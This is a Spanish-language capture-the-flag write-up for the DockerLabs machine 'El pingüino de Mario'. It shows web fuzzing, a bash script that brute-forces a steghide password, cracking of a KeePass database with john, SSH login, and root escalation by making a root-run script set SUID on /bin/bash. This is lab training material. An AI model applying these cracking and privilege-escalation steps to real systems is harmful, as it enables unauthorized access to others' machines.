Hola, mi estimado! ¿Le puedo ofrecer un CTF, para llevar?
Muy bien, pero antes gracias al creador del CTF "El pingüino de Mario" y a la comunidad de DockerLabs.es por hacer esto posible.
Descripción de la maquina.
Sistema Operativo | Linux 🐧 |
Dificultad | Medio |
Lanzamiento | 09/04/2024 |
Creador | El pingüino de Mario |
Enumeración
Empezamos con un escaneo a todos los puertos y servicios de la maquina con nmap
, si desea saber mas detalles sobre cada uno de los parámetros, le dejo esta increíble web (explianshell).
Vamos a explorar el servicio web.
Tenemos una pagina por defecto del servicio apache2
, vamos a realizar un fuzzing
en busca de directorios y archivos.
gobuster dir -u http://http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,js,css,txt -t 100
Y en efecto tenemos el archivo penguin.html
Bueno, al parecer no tenemos nada mas que esta imagen... Vamos a examinar los metadatos con exiftool
y mediainfo
Pero, no obtuve nada interesante... Aquí es donde nos toca aprender una nueva Mouskeherramienta misteriosa.
Esteganografía
Para obtener mas información de esta técnica, visite este vídeo del mismo creador de la maquina.
La esteganografía es la práctica de ocultar información dentro de otro mensaje u objeto físico para evitar su detección. Se puede usar para ocultar casi cualquier tipo de contenido digital, ya sea texto, imágenes, vídeos o audios.
Para continuar con esto podemos hacer uso de la herramienta steghide
, la cual nos permite saber si se oculto algo y si es así, lo extrae. También se puede usar steghide
para ocultar información.
Así que vamos a ver si la imagen contiene algo.
steghide --extract -sf penguin.jpg
Peroo, normalmente al ocultar algo con steghide
este nos pedirá una contraseña, para después extraer dicha información, por ejemplo al intentar extraer la información de penguin.jpg
nos pedirá una contraseña:
Así que... Tendremos que realizar fuerza bruta para descubrir la contraseña. Puede montarse un script, o tomar uno prestado, pero lo mejor es que lo hagas tu mismo.
Fuerza Bruta
Entonces, aquí lo tiene un script:
#!/bin/bash
#variables globales
dicc_path="/usr/share/wordlists/rockyou.txt"
file="/ruta/penguin.jpg"
#verificar si existe el diccionario
if ! test -f $file; then
echo "El archivo a examinar no existe."
exit 1
fi
#verificar si existe el diccionario
if ! test -f $dicc_path; then
echo "El diccionario no existe."
exit 1
fi
#Itera cada posible password del diccionario
for password in $(cat "$dicc_path"); do
#Probamos el password y guardamos el codigo de estado.
echo "Probando con el password: $password"
steghide --extract -sf $file -p "$password" 2>/dev/null
exit_code=$?
#Si el codigo de estado es exitoso, indica que se encontro el password
if [[ $exit_code -eq 0 ]]; then
clear
echo "Password encontrado: $password"
exit 0
fi
done
Solo quedaría ejecutarlo y listo.
Perfecto, hemos descubierto la contraseña, por lo tanto hemos extraído un archivo, lo cual es...
Una db de KeePass, vamos a aplicar fuerza bruta contra este archivo con john
.
Pero, primero extraemos el hash.
keepass2john penguin.kdbx > hash
Y ahora si, realizamos la fuerza bruta.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Excelente, ¿no?
Lo abrimos y tenemos lo siguiente...
apt install keepass2
keepass2 penguin.kdbx
Unas credenciales, que tal vez, funcionen para el servicio SSH.
Pero... No funcionaron, así que me dispuse a usar esa contraseña con algunos nombres que se mencionaban en el KeePass, como por ejemplo pingu
y penguin
Hasta que me logre conectar con el usuario penguin
Escalada de privilegios
Explorando el sistema me tope con este script.sh
, que posiblemente el usuario root
este ejecutando periódicamente.
¿Como sabes si el usuario root
lo esta ejecutando periódicamente? Observando los procesos con pspy.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s
chmod +x pspy32s
./pspy32s
En efecto lo hace, vamos a modificar lo, para que el usuario root
establezca permisos SUID al binario /bin/bash
.
Y aquí lo tenemos, solo nos toca esperar...
Solo falta un /bin/bash -p
Y ahí lo tenemos, gracias nuevamente, señor root
.
Hasta luego querido lector!!
Referencias